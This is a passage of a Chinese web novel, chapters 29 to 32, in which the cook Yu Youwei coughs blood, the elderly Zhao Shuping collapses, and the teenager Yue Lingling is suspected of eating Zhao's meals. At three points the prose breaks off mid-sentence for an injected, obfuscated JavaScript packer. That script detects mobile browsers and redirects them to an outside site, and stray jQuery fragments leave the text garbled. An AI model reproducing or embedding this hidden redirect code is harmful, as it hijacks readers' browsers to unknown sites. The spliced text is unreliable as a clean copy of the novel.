只是几秒钟,脑海里闪过一连串的想法。想完之后,又觉得没必要那么慌张,有可能是刚才吃鱼的时候,鱼刺刮的。反正他不太会吃鱼,每次吃鱼都会被卡刺,而他又挺喜欢吃鱼的。 捧着冷水洗干净脸,洗干净嘴巴。他扒开嘴巴,一口烟民拥有的大黄牙大黑牙和几颗烂牙,牙结石。 下嘴唇的唇肉有点痛,他用两只手挤了挤,更痛,隐隐渗出血来。果然又被鱼刺扎了。 那些隐藏在心底的慌乱瞬间消失得无影无踪。不过,还是去找平月要点感冒药吧。他喜欢裸睡,每天早上起床洗完澡,也不擦干净水,就满屋子倒出晃悠,去拿食材,去抽烟。外面暴雨,尽管屋内恒温,也是容易感冒的。 余有为走出厕所。 悦凌凌略带急切地问他怎么样。 余有为说:“刚才鱼刺卡了。没事儿,别担心。” 周志看了眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056892|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窗边遍地的烟蒂,垃圾桶已经装满一桶了,塞不下了,所以才落得满地都是。 “多嘴一句,还是少抽点烟吧。” 他们来这里一个星期。一个星期,余有为抽完的烟蒂已经塞满整个垃圾桶,真是……太夸张了。没病也得熏出病来。 余有为:“你不抽烟啊?” 周志:“以前抽,现在戒了。” 余有为:“可以啊。我是想戒,戒不掉。不抽吧,又觉得少了什么。”尤其是无聊的时候,没事干,或者心里堆满事,总归他最近的状态就是嗜烟,只有抽着烟,心里头才轻松一点。 周志洗完了碗,悦凌凌擦好餐桌,垃圾丢进垃圾回收口,所有东西收纳归位。 周志和悦凌凌离开了,余有为去洗了个澡——中午炒菜,身上沾了浓厚的油味。换上干净的衣服,去找平月。 平月打开门,看见是余有为,有点诧异。她和余有为好像没说过话,一直不觉得两个人除了吃饭会有别的交集。 余有为尴尬,“就、就是……” 平月:“嗯?” 余有为:“你能不能借点感冒药给我,等下山了还你……” 平月:“……不用。” 余有为顿时慌了,“我真的会还你!所以借我一点吧……” 平月:“……真的不用。” 余有为有点懵,他记得范明胜需要药的时候,平月给了。钱晓文也找平月借过东西。为啥就不愿意借给他?难道是他长得丑? 余有为很想拿个镜子照照自己,是不是出门时没收拾干净——他可是专门洗了澡过来的。说句奇怪的话,他刚才洗的那个澡,比他这辈子洗过的所有澡的时间都长。 不可能没洗干净。 来都来了,拒绝也被拒绝了,死透了也想知道个缘由。 “为啥不愿意借给我?” “啊?” 平月茫然,微微张大了眼睛。 光影倒映在她瞳孔,映出瞳孔深处的他。胖墩墩地占据中央的位置,周围是朦胧的褐色的花纹。 他就像一个手办……手办……被花环围成的,又可爱……又搞笑……他自己竟然会觉得自己像个小手办……离谱。 平月恢复了正常,“唔……我意思是说,我拿给你。不用你还……” 余有为额头滑下几滴汗水,尴尬得脚趾在人字拖上蜷了起来。 “你等一下。”平月转身进了屋,房间门就在他面前大大的敞开着,能看见她奶白色的床单,椅子里可爱的抱枕,电脑旁边坐着一只小羊,短短的耳朵竖着,毛绒绒的脸十分呆萌。 满是少女味的房间。 他40岁了,结过婚,又离了。 余有为别扭地挪开视线,看看左边,看看右边。然后听见脚步声朝门口走来。 “我有感冒灵,布洛芬,维生素。你要什么?”平月拎着一袋子药,一边走,一边滑开袋子扣。 “都行。”余有为收回视线。 平月便每样都分他一点。余有为双手捧住,问她:“你喜欢吃炸鸡吗?” 来餐馆里的小女生们都喜欢吃油炸类食物,他也挺喜欢吃,所以隔天的下午茶就是炸鸡之类的油炸食物。但她或许不会喜欢吧…… 对面的女生思索了一下,眉头先是微微皱起。余有为猜对了,像她这样的女生肯定不喜欢吃油炸,应该偏爱于巧克力饼干之类的,可惜他填报名表的时候没写,他不喜欢干巴巴的东西。 他有点后悔,仅仅只是几秒,对面的人眉头一松,又笑了起来,“很久没吃过了。” 余有为迫不及待的:“那你尝尝?” 平月笑着说:“好啊。” 余有为差点就要说让她去他房间,话到嘴边及时刹住了车,他抱着药跑回房间,往出餐口摸。掏了空。抬头看时间,才一点十分,离下午茶还有一个多小时。 这个四十岁的离过婚的老男人,像一个初恋的愣头青一样,因为没法立刻请女孩子吃炸鸡而呆住了。 30. 第 30 章 余有为二十九岁结的婚,相亲认识的,认识五个月就拿了证。长这么大,他没谈过恋爱。说起恋爱,他都会笑一笑,恋爱有什么好谈的,到最后还不是结婚。 结婚嘛,看条件呗。毕竟以后是靠钱吃饭活着,又不是靠爱来爱去活着。 第一次见平月,他只觉得这女生比电视里的明星还好看,就算安安静静待在那里发呆,都能极快速地抓住所有人的眼球。那是一种视觉享受。 余有为只觉得她漂亮,肯定有男朋友,以后肯定嫁得非常好——现在这个社会,脸比什么都吃香。哪怕没一技之长,说直白些,哪怕公司招行政,你啥也不会,只要长得好看,老板就要你,还会告诉你没关系,我们这儿有老人带,学学就会了,轻松得很。生怕你不来。 他们餐厅的前台就是这样,每天站在那儿只管收钱,站累了还可以坐。其余事情一概不做,工资比会计拿得高。前一任前台可不是这样,那可是什么都干,收拾餐桌、招待客人、有时还帮后厨上菜,上慢了还得挨老板批两句,工资跟服务员拿一样。 余有为没想过他会和平月有交集,虽然同在一个房子里,往后也不过是点头之交,混个眼熟。 世事难料,他不仅每天做饭给平月吃,还想拿自己的下午茶请人家吃,并且有一种下午茶不够,想给更多的迫切心理——在食物紧缺的这个时候。 余有为都快被自己笑死了,又好笑又心慌。他站在窗边抽烟,窗外的雨稀里哗啦,乱糟糟地四处砸,嘭嘭铛铛,像他快速跳动的心脏。 40岁,他体验到了毛小孩的恋爱滋味。 来得可真迟。他的恋爱神经好像一直都特别迟钝。 抽了半包烟,下午茶终于出来了。热乎的。余有为拿在手里,没有丝毫的踌躇,直接往平月那边去。刚走出房间,又倒回去。洗了个脸,簌了口,将身上的烟味压一压,再带着炸鸡过去。 平月打开门,笑着请他进去一起吃。慢腾腾的踌躇这会才爬上余有为的心间,不是后悔把下午茶给她,而是他一个大男人,进入她的房间。现在这种情形,他们在一个屋,很对她不好。 平月问他:“想喝什么饮料,我下去拿。” “我们好像还没聊过天。” 余有为紧张地嗓子发了哑,想说他不吃,最后憋成了:“都喜欢喝。” 平月笑着下楼了。余有为看见她的脚踝完全好了,白酥酥的套着拖鞋,圆润的脚踝骨泛着很嫩的粉。 身影在楼梯转角下去了,余有为才惊觉自己的目光突兀,盯着别人的脚看。 她拿了两瓶小豆奶,是餐馆里常见的,微微甜,但特别解腻和解辣。很神奇的一款豆奶,在中餐馆和烧烤油炸摊很畅销。 余有为有些惊讶这个地方有这种东西,他去过很多地方,这种豆奶除了他们省内,外面几乎没有。 “进来吧,还得麻烦你帮忙开一下瓶子,我在楼下没找到开瓶器。” 平月把豆奶放在窗边的小圆桌上,拉了两张板凳,错开放着。两人坐在桌前,既能看见彼此,也能看见窗外景色。虽然乌黑一片没什么景色。 余有为只好将房间门大大的敞开着,生怕别人误会平月,尽管这会儿走廊里没人。 他体格很大,胖墩墩的,尤其是肚子。做中餐厨子的大都是这样,那张椅子将将装下他。 他很轻松地开了豆奶的瓶盖,递一瓶给平月,“炸鸡是热乎的,趁热吃着好吃。” 说完这句话,他又有点后悔了,好像在催促她似的,匆忙补上一句:“慢慢吃,吃冷了,我拿去给你加热,热出来也是酥脆的。” 平月听笑了,笑声泠泠的。余有为第一次见她笑,仿佛窗外的雨幕都散了开,露出光来。他原本紧张的心,莫名其妙地舒缓了,静静的。 “我吃过很多中餐,只有你做的味道很好。”平月笑着说,“你在哪家餐馆呀,以后我去光顾你。” 余有为登时又紧张了,他知道自己做的好吃——很多人夸过。但由她夸出来,那些话听在耳朵里,忽然就变得和别人不一样了,只让他心慌意乱。 余有为想抽烟,只有抽着烟,烟味压着心,才能稍微平静些。 “罗城中天餐馆。” 平月诧异:“你不是安阳的呀?” 余有为:“户籍在安阳,后来去罗城上班了。” 平月:“一直做厨师吗?” “不是。”余有为望向窗外的雨幕,“以前……卖过水果。” …… 余有为没读完初中就出来找工作了,那时还是未成年,只能进厂。 厂里的工作特机械,很没意思,但有不少像他这样的年轻人,每天吆三喝五喝酒玩耍,也就干下去了。干了两年,老板跑路了,他开始四处找工作。 有的工作又累,工资又低。他开始变得像大部分年轻人,这也看不上,那样看不中,每年都在干工作和找工作之间来回徘徊。 2012年,他22岁,找到一份水果店的工作,搬卸水果。起初只是在店里搬卸,顺带管理进出库存。甘蔗上市的季节,还得削甘蔗,生意好时,一天能削两百根。 老板是个友善的人,削甘蔗的那个月会给他发奖金。工资拿得还算高。他就干了下来。半年后,老板问他会不会开车。 真不赶巧,他只会骑摩托车。 老板说,你去考个驾照吧,以后跟我拉货,工资给你翻倍。 他就去学了驾照,每天在店里搬水果卖水果,学车的时候就请两个小时的假,去学了回来继续卖。老板没扣他工资,有时还捎带他去驾校。 驾照本很快拿到手。他开始跟老板出去拉货。他是新手,不开车,老板开。他们去各个城乡、周边城市拉水果。偶尔老板会把车借给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065116|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让他抽空练练手,或者老板带他去空旷的地带练手。 夏季水果,产地远些,动辄两三天。他们开始轮流开车。他的车技愈来愈好,近些的城市乡镇,老板就让他一个人去拉货。 老板赚得越多,他的工资越高。余有为是喜欢这份工作的,老板人好,老板的家人也挺好,经常关心他,因为他们算是老乡,都是安阳市的。 老板回乡下探亲时,还会问他回不回家,一并捎带回去玩两天,工资照发。 余有为以为自己会在这里一直干下去,他的心不野,只要生活过得好,工资开得够,他就能待下去。 那是他刚满24岁的第三天,他跟老板像往常一样去拉货,不算远的城市,晚上出发,清晨到,中午装完货,晚上就能到平城。 那天回去的路上,在水果店背后一条街的路口,他看见了老板的母亲,赵淑萍抱着老板的儿子在路边散步。 当时老板在开车,他坐在旁边,看他们在路边慢悠悠地走着,然后她停了下来…… …… “……水果店生意不好,老板开不起工资,我就没干了。” 余有为笑笑,笑得有点牵强。 玻璃窗上倒映出他的影子,膨胀的,充满悲哀,像死掉的尸体发了胀。余有为看着自己的影子,非常心慌。他想抽烟,疯狂地想抽。 椅子往后退开,他站起来,“我回去了,你还想吃就告诉我,明天有鸡的话,我拼半边下来给你炸。” 小圆桌上的炸鸡被吃得差不多了,看得出她很喜欢吃。喜欢吃就好,他会做,味道比这还好。 平月笑眯了眼,说谢谢。送他出了门。 房间门在背后关上,余有为顺着走廊,一边走,一边掏出烟来点上,含在嘴里抽。 烟雾缭绕,他走到了赵淑萍的房间门口,虚着眼睛,差点没从厚重的烟雾里看见赵淑萍的铭牌。 他站在那儿看了一会,嘴里叼着的烟没来得及换,厚重的烟吸进肺部,呛得又开始咳嗽。 他扒着墙壁,越咳越凶,像是要把肺咳出来。浑身的肉都在抖。咳了很久,缓过气。他又把烟放在嘴里抽了一口,手指夹着烟,朝自己房间走。 现在还不是去看赵淑萍的时候,太多了,容易让人怀疑。 走了两步,他停下来。抬手正准备抽的烟蒂上站了一圈血。像女人涂着口红喝奶茶,奶茶管子上印着的一圈口红。 红的糟糕又刺目。 余有为擦了一下嘴,虎口上刮下一道血痕。 他懵了一瞬,下一秒直冲回房间,冲到镜子前。 镜子里的他,嘴巴上一抹血。他朝水池里吐了一口口水,口水都是血泡。 他又开始咳,手抓过纸巾捂在嘴上。再拿下来,白色的纸变成一滩红。 这是感冒吗…… 余有为开始惊怕地颤抖。 31. 第 31 章 余有为急匆匆地跑去找赵淑萍,他不认为自己这样是感冒了,他害怕,心底深处蔓延上的恐慌几乎要淹没了他。在这个无数巧合组成的房子和人里,有个熟人在身边总会让人感到轻松。 他需要轻松。 一边跑,一边摸出烟塞到嘴边,打火机的火焰卷上烟丝时,他忽然想起周志让他少抽烟的话。 好像是不该抽烟,但烟在嘴里,让人有安全感。 不知道从什么时候开始,他依赖烟,非常的依赖。余有为仔细想——他不敢想别的,只能想这些乱七八糟的小事来挤满自己的脑袋,让自己别去在意恐惧的感觉。 是从刚开这里开始吧,他在申请表上写了自己喜欢抽烟,随便填的。却没想到,出餐口每天都会出烟给他,有时候一包,有时候两包,有时候一整条。 全是很贵的烟,300一包的大金砖,两万一条的富春山居。他只在很高级的酒桌上见过——老板招待贵客才拿出这种烟来抽。他老板平时都抽不上这么贵的。偶尔年节的时候,老板也会发一包给他,后厨房的人都羡慕极了,让他散一支。 他舍不得,他的工资虽然挺高,但这种好烟,并不是想抽就能抽上,有时嘴巴馋想来一根,一想到那价格就踌躇到不行。而且这种昂贵烟,普通烟摊上没有。 余有为自己也带了烟来,很便宜的,十几块钱一包。和这些高级烟比起来,他登时将自己的烟丢进衣柜里,每天抽着出餐口送来的烟。烟味确实很香很高级。让他着迷。 他说过,每天多抽两包,没几天就能把夏令营的报名费都赚回来,甚至大赚一笔。就是有这样的想法,他一直抽,不断地抽,因为他知道,离开这里后很少有机会再能抽上这么好的烟了。 烟是非常容易上瘾的东西,他就上瘾了,对这些昂贵的好烟。 直接推开赵淑萍的房间门,往里面扎头进去,第一眼就被匍匐在地的人吓得呆立在原地。 烟烫了嘴,余有为张开嘴,烟蒂掉在地上,在地毯边缘戳了一个洞,青烟丝丝缕缕的飘着。 “赵姨?”他颤抖着腿,跪在赵淑萍身边。鼓起很大的勇气才伸手探到赵淑萍的脖颈处,还是跳动的。 还好还好。泄气一样跌坐在地上,他狠狠吐出一口气,将人抱上床,立刻去拍响了隔壁钱晓文的房间。 …… 钱晓文正在换内裤。下\体的感染让她一天换十条内裤不止。换完就洗,洗完放到浴室开热灯照,然后继续修复尸体。 她很忙,非常的忙。她怀疑出餐口不出餐的最大原因是因为她一直没交作业,也许她多交几次作业,将前面没交的日子补齐,或者修补完整具尸体,出餐口就会出餐了。 她是这样想的,于是一有时间就对尸体进行修复。明明很困,也拼命狂喝冰冻的冷水去困。 房间门被拍响的时候,她有点烦,听见余有为说赵淑萍昏倒了,更烦。 不想去开门。余有为一直在拍门。只能忍着烦躁,去开了门。 余有为急促地让她去看看,神情非常的紧张。 钱晓文皱眉,这个人对赵淑萍是不是多余上心了?随后一想,算了,万一真死了人,非常麻烦。尽管她有时候挺想赵淑萍死的,死了就不会张嘴把她房间里的事情说出去。 她转进赵淑萍的房间,翻了翻赵淑萍的眼皮,用赵淑萍测血压的仪器测了测血压,又量了量温度——总之她也不知道该做什么,她又不是医生,就很装的这里做做那里瞧瞧,最后说:“没什么问题,短暂性昏迷。等她醒吧。” 余有为大松一口气,跌坐在床边。整张床重重地往下陷了馅。 钱晓文古怪地看他一眼:“她是你妈啊?这么担心。” 余有为怔住。 “我……她不是在我房间里摔倒的嘛,不能不担心啊,万一真出事了,怪我头上,我也赔不起啊。” 钱晓文懒得听,掉头往屋外走。刚走到门口,她又转回身来,问余有为:“你什么时候来的?” 余有为:“刚才啊,一进来就看见她趴在地上,吓死我了。” 钱晓文的眉头皱得更紧了,眼神充满狐疑。 余有为不解:“咋了?” 钱晓文问:“你这么担心她,中午没来看她?” 余有为尴尬,他就这样跑一趟都让她以为赵淑萍是他妈,怎么敢天天来看。他说:“中午是小悦来送的饭。” 钱晓文:“送了就走了?” 余有为:“对啊。” 钱晓文:“饭吃完了?” 余有为:“吃完了啊。” 刚才悦凌凌送完饭回房间,他特意看了眼碗,碗是空的,看得出赵淑萍的胃口很好。 钱晓文古怪地笑了一下。余有为有点紧张,问了两遍:“咋了?” 钱晓文摇头,说:“没事。” 她记得,昨晚,赵淑萍在房间里嘶吼嘶叫,非常痛苦的声音。后半夜就没声了,如果没猜错,赵淑萍在后半夜就晕倒了。今天中午悦凌凌来送饭,怎么可能没看见? 没看见的原因有两个,要么饭没送到赵淑萍房间里,被悦凌凌在别的地方吃掉了。要么悦凌凌看见了,什么都没说,自己吃掉饭,和平常一样将空碗送回余有为房间。 真有意思。 看不出来悦凌凌那个表面上老实乖巧的孩子竟然会这样玩。 钱晓文回了房间,坐在尸体边,一边笑,一边修复尸体。有时想起悦凌凌胆小、乖巧、老实的模样,没忍住,笑出了声。 隔壁房间里,余有为坐在床边,看赵淑萍。看了许久,不见人醒,他又挪到窗边去抽烟。 烟点上,又想起赵淑萍还在昏迷中,顿时匆匆走出房间,站在走廊上抽。 来的时候想着赵淑萍是自己在这里最熟悉的人,可以彼此聊聊天缓解一下心底的恐惧。结果,赵淑萍先倒下了,让他更加恐慌。 前天来看赵淑萍,她虽然摔断了尾椎骨,腰也疼,精神状态却是好的。 怎么一天过去,变成这样? 想不明白,他只知道自己很慌,心慌手乱。 拿着烟的手在静悄悄的颤抖。 脑海里乱糟糟的,想起以前的事,想起刚来这里的时候,一切都是好的,这才一个星期,就像在这里住了几十年那样漫长和难熬,也想起刚才钱晓文奇怪的问话……忽然,他顿住了。 ——赵淑萍是什么时候昏迷的? ——中午悦凌凌来送饭时,是昏迷的还是醒着的?如果是昏迷…… ——钱晓文一定知道什么。 他盯着钱晓文的房间门,她就住在赵淑萍的隔壁,赵淑萍有事,她一定会听得见,一定是这个房间里第一个知道的人,还有住在赵淑萍另一边的张情,也知道。 视线从钱晓文房间门扫到张情房间门。三道门,只有赵淑萍的门开着,两边的门都关得死死的。 他想去拍钱晓文的门,想问问钱晓文到底知道什么事,转念一想,那个人刚才不告诉他,这会肯定也不会告诉他。他去敲响了张情的门。 屋里没声音。 他往张情隔壁看,隔壁是梁威。隔了两个房间,梁威应该是不知道。 顺着走廊,他一间房一间房地走下去,梁威隔壁是周志,周志隔壁是陈宇南。陈宇南的门敞着一条缝,不知道是没关拢还是故意留着缝。路过那条缝隙,往里看,能看见张情和陈宇南躺在窗边的躺椅上,躺椅背对门口,看不清他们的模样,却能玻璃窗上看见他们的身影。浑身赤裸。 余有为替他们带上了房间门,再往下走,陈宇南隔壁是悦凌凌,悦凌凌隔壁是平月,平月隔壁是楼梯口,楼梯口另一边是范明胜,范明胜隔壁是他,他的隔壁是钱晓文。 他们在二楼围成圈。 站在悦凌凌门口,余有为静静立了许久。隔着一道门,悦凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073891|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌在刷习题集,哼着歌,心情愉快。因为她今天吃了挺多,肚子非常的饱,饱到她看题看不进去,但心情十分美好。 不知道为什么,她往门口看了看,就是很平常的一看,随后收回视线,继续拿着习题集捧在手心,靠进椅子里。她打了一个饱嗝,喝进胃里的汤涌了上来,刺痛了鼻腔。她揉揉鼻子,将那点汤水又咽了下去。手拿过饮料喝了一口。 放下饮料时,门被敲响了。 “谁啊?” 她一面问着,一面将腿从桌上拿下来,塞进拖鞋,趿拉着去开门。 敲门的人没出声。 悦凌凌也没什么防备心理,或许是正得意忘形,很顺畅地直接拉开了门。 看见门外的人是余有为,他脸色很不好,神情沉重。悦凌凌忍不住心脏猛跳一下,脑仁被笔尖戳死了似的骤然空白。 她下意识就要关门。余有为眯起眼,一巴掌拍在门上,阻止她。 “你中午去送饭,赵淑萍跟你说什么了?” 悦凌凌喉头发紧,颤颤巍巍:“没、没说什么啊……” “她让你给我的东西没给?” “啊?什么东西?” “她没说?” “说什么?” “是没说还是不能说?” 悦凌凌“嘭”的炸了,浑身血液上涌,整张脸涨得通红。 “我不知道你在说什么。” 余有为冷笑:“不知道?” 那讥讽的笑意深深刺痛了悦凌凌,所有人都知道赵淑萍挺喜欢悦凌凌的,她做出那样的事,和狼心狗肺有什么区别? 悦凌凌才不这么认为,她认为一切都是赵淑萍活该,如果前天赵淑萍没有那样怨恨她,她就会一直把赵淑萍当一个很好很好的奶奶,绝对不会这样。 一切都是该的。 “你让开!” 她红着眼,大喊。 动静太大,各个房间的门打开,所有人都到了走廊上,朝他们这边看。 周志走过来问怎么回事,梁威也过来了。 悦凌凌心慌得厉害,她怕被人知道,她害怕。她紧张地盯着余有为,手里非常用力地拉门,想将门关上,将自己关在屋里,这样,这样……大家就不会知道了…… 余有为嘲讽地笑了一声,说:“我刚才去看赵淑萍,看见她倒在地上昏迷不醒。我就想过来问问她,中午赵淑萍是什么情况。结果她……呵……” “张情,你住在赵淑萍隔壁……” “别这样说。”张情立刻打断他的询问,单手搭在门框上,“我这两天住这边呢,没回房间。” 说完,她笑嘻嘻地望向悦凌凌,“你把赵淑萍怎么了?你俩一个小孙女一个老奶奶不是关系很好嘛,怎么,生了仇恨啊?” “你胡说什么!”悦凌凌涨红了眼眶,恶狠狠地瞪着张情,“谁和她有仇了!” 张情嬉笑:“哎呀,没仇就没仇嘛,你凶什么凶。” 梁威对悦凌凌说:“说说吧,怎么回事?” 悦凌凌目光躲闪地左右看,嘴巴蠕动,想说什么又说不出来。所有人在看她,每一双眼睛都是那么讨厌,就像她是什么大恶人,用那种审视、打量、戒备的目光盯着她。 悦凌凌感到浑身发毛,前所未有的慌张。 她知道,只要她说了,就完了。所有人都会防备她,把她当成罪人,说不定、说不定、说不定还会说范明胜也是她杀的。 年纪轻轻,看不出是这样的人——悦凌凌几乎能想象这种话从他们嘴里说出来。 她仓皇逃窜进了房间。 他们围在门口。 悦凌凌抱着肩膀,缩在床边的角落,埋着头,将自己藏起来,不敢去看他们恶意慢慢的视线。 “我不知道,我不知道,我不知道……” 她嘀嘀咕咕,喃喃自语。 “我什么都不知道……” 32. 第 32 章 所有人稍微想一想就懂了。她偷吃赵淑萍的那份饭是小事,他们开始猜测赵淑萍的昏迷和她有没有关系。 但她现在这个样子,大家不好上去逼问她,只能等赵淑萍醒来,一切就明白了。 赵淑萍是半夜一点醒的,醒来就嚎着疼,嗓子哑得发出破风箱漏风一样的声音。 趴在床边的余有为惊醒了,急忙倒热水喂她喝,等她缓过来才知道发生什么事。 原来是想去厕所,摔倒了,结果叫人没有人应她,疼得昏迷了。 余有为没把悦凌凌的事告诉她,省得她生气。上回悦凌凌推倒她,就让她气急了。 余有为说:“往后我经常来看您吧。” 赵淑萍本想拒绝,但脑海里历过昨晚的惨状,就拒绝不出口了。比起被人知道他们之间认识,她更害怕自己悄无声息死在房间里而没人知道。 已经到她这个年纪了,很怕死了。更何况这里的人不认识他们,尽管知道他们相熟也不会有问题。 余有为陪着赵淑萍到天亮才回去睡觉。他头往枕头上一沾,气管里突然岔了气,又咳嗽起来。他侧着身体,匍在床边,咳得整张床都在震动。咳模糊的视野看见一抹血掉在了床的边缘,染红了白色的床单。 他惊颤地伸出手指去摸了摸,湿润的。手背揩一下嘴巴,全是血。 肩膀快速地耸动,巨大的恐慌从心底蔓延上来,他坐起来,想去找赵淑萍,赵淑萍刚睡着,还能找谁,谁也不能找。他慌慌张张地到处看,想找点什么事或者什么东西来压制这股恐慌,房间很满,但没有他想要的东西。最后摸上了烟,颤着手点上火。 重重吸了一口,心里顿时舒坦了。他坐在床边,慢慢抽着烟,盯着窗外的雨幕。 现在是早上七点,七月份的七点应该天光大亮,这里的七点下着大暴雨,天像夜里十二点那样黑。 腰间的肉重重叠叠堆砌小山丘,他用手抖落烟灰时,那座小山丘也在颤抖,前前后后左左右右地蠕动,像随时崩塌。 抽了三支烟,余有为感到舒服了,坍塌在床上,呼噜声很快响起。 他的床在墙边,一墙之隔的另一边是躺着尸体的位置。钱晓文正在修复尸体,已经修完一条腿了。听见他的呼噜声,被感染似的,打了一个浓浓的哈欠。 她熬了一个通宵,修完了一条右腿。原本破碎的腿在此刻变得完好如初,肌肤上黏着没清理干净的血丝。她用刷子沾取混合剂往腿上扫一圈,血丝登时不见了,右腿变得干干净净,像刚洗完澡出来的,粉嫩。 钱晓文非常满意这条腿的修复,手心贴在腿上,摩擦两遍,手感是软糯的,掌心接触到毛发,微微的刺痒,膝盖的形状让她感到熟悉,却想不起来哪里熟悉。 大概是她经常摸尸体的缘故。 又打了一个哈欠,她站起身摁下扫描作业,再去出餐口看,空无一物。她交的作业仍旧不够多。 除了有点失望之外,并没有非常在意。她想着下午再修复另一条腿,晚上修复手臂,或许明天就能出餐了。 这样想着,直接躺在床上睡着了。 …… 悦凌凌在房间里焦躁的走来走去,早上十点过了,平常这个时间,她应该在余有为的房间里洗菜了。今天却……怎么好意思过去。她在门背后听说了,赵淑萍醒了。 他们所有人一定知道她偷吃了赵淑萍的饭菜,肯定会觉得她铁石心肠,赵淑萍晕了也不去喊人。 悦凌凌用力捏着自己的手指,绞尽脑汁地想也想不起来为什么自己没有去叫人。 好像、好像是被饭菜吸引了,怕饿?又好像、好像是对赵淑萍有一种恨,恨她怪自己? 总之,悦凌凌想不清自己为什么那样做。但,做都做了,而且……她现在非常饿。 饿得想吐。 胃部在抽空,饥饿感往上涌一次,伴随着体内的咕噜,呕吐的欲望便更加的强烈。 桌面摆满了空的饮料瓶。她舔了舔嘴,拿起饮料瓶,竖着往自己大大张开的嘴里抖,抖出来了几滴,甜的,这种味觉刺激得更饿了,她想喝更多更多。 当即甩掉空瓶往门口走。正要拧开门,就从门铃里看见平月拎着保温杯下楼去,如果她这时候下去拿饮料,一定会和平月撞上。她没法接受别人用谴责的目光看她,那种目光让她觉得自己像小偷。 她才不是什么小偷。 悦凌凌松开手,退回房间中央。走动的脚更加焦灼了,刚才她不仅看见平月,还看见周志正在往余有为房间走。 他们准备吃午饭了,他们有饭吃了,而她什么都没有,她好饿,哪怕昨天吃了很多,依旧非常的饿。饥饿就像一头蛇,张开巨大的嘴吞噬她,让她恐惧、焦灼、不安。 她不断在床边和门边来回走动,看平月有没有上来,希望她快点上来,上来了,她就能下去拿饮料了。 不知道走了多少圈,只知道自己特别饿,饿得要死了,想哭了,她真的会被饿死。 余有为肯定不会给她饭吃,她只能靠楼下饮料解饿。 平月为什么还不上来?怎么那么久? 她焦躁地往门铃里看,楼梯口没有人。走廊上有两个人,梁威和张情,在往余有为那边去。 她扫了一眼,又收回视线看楼梯口,还是没人。不会已经上来了吧?已经去余有为那边了吧?楼梯口这边是平月的房间,另一边是范明胜的房间,过了范明胜房间就是余有为房间。也许平月直接从那边过去的,所以她没有发现。 越这样想,越觉得有可能。 一旦想法被肯定,再也等不了一分钟,也没法忍耐了,她拉开门,冲下了楼。刚踩到一楼地面,就看见平月站在炉灶前,正提着水壶接水,保温杯立在她手边。她回头看了眼悦凌凌。 悦凌凌这才后知后觉距离平月下来其实没超过两分钟。她以为很久很久了。 悦凌凌尴尬得想掉头就走,但肚子在时刻提醒她,掉头走会饿死。她硬着头皮,假装没看见平月,走到冰箱前,拉开冰箱门,里面放满了饮料,让她惊喜地睁圆了眼。 她再也顾不上平月有没有看她,或者是用什么样的眼神看她。她抓起一盒酸奶,撕开口就往嘴里倒。大口大口地吞。 寂静的一楼能听见她吞咽的声音非常大。 平月拨开煤气灶的开关,用水洗干净保温杯。对面远处的沙发,盖着范明胜尸体的白布变得泛黄发黑了,蔓延过来浓厚的臭味。 似乎还有苍蝇嗡嗡的声音。 平月皱了眉,照这种速度,这里只会越来越臭,可惜楼上没有烧水的,她不得不下来。比起这个,还是更早离开这里比较好。 洗完保温杯,用厨房纸巾擦拭掉水迹。身后传来“嘭”地一声巨响,她回头,悦凌凌弓着腰往楼上跑,刚踏上楼梯,一瓶饮料从她怀里掉在地上。她停下脚,低头看,好像舍不得,转过身来,追着滚动的饮料走了两步,忽然抬头撞上平月的视线,饮料也不要了,匆匆忙忙抱着满怀抱的饮料跑上了楼。 平月绕过厨台,将那瓶掉在地上的饮料捡起来,用水冲洗干净,擦掉水,放回冰箱里。 冰箱里的饮料一瓶挨着一瓶,摆放整齐,现在空了一个大缺口,被悦凌凌抱走了。 平月关上冰箱门,站在厨台前等水开。 对面是腐臭的尸体,外面是滂沱大雨。 “平月,上来吃饭了。”周志站在走廊栏杆前叫她。 平月回过神来,抬头应了一声好。水壶鸣叫着,水开了。她倒热水烫一遍保温杯,再装满水,拎上楼。 周志在楼梯口等她,“现在还是每天下去烧水?不臭啊?” 平月说臭。 周志笑道:“等会我去找找有没有插电水壶,拿到楼上来,就不用下楼了。”

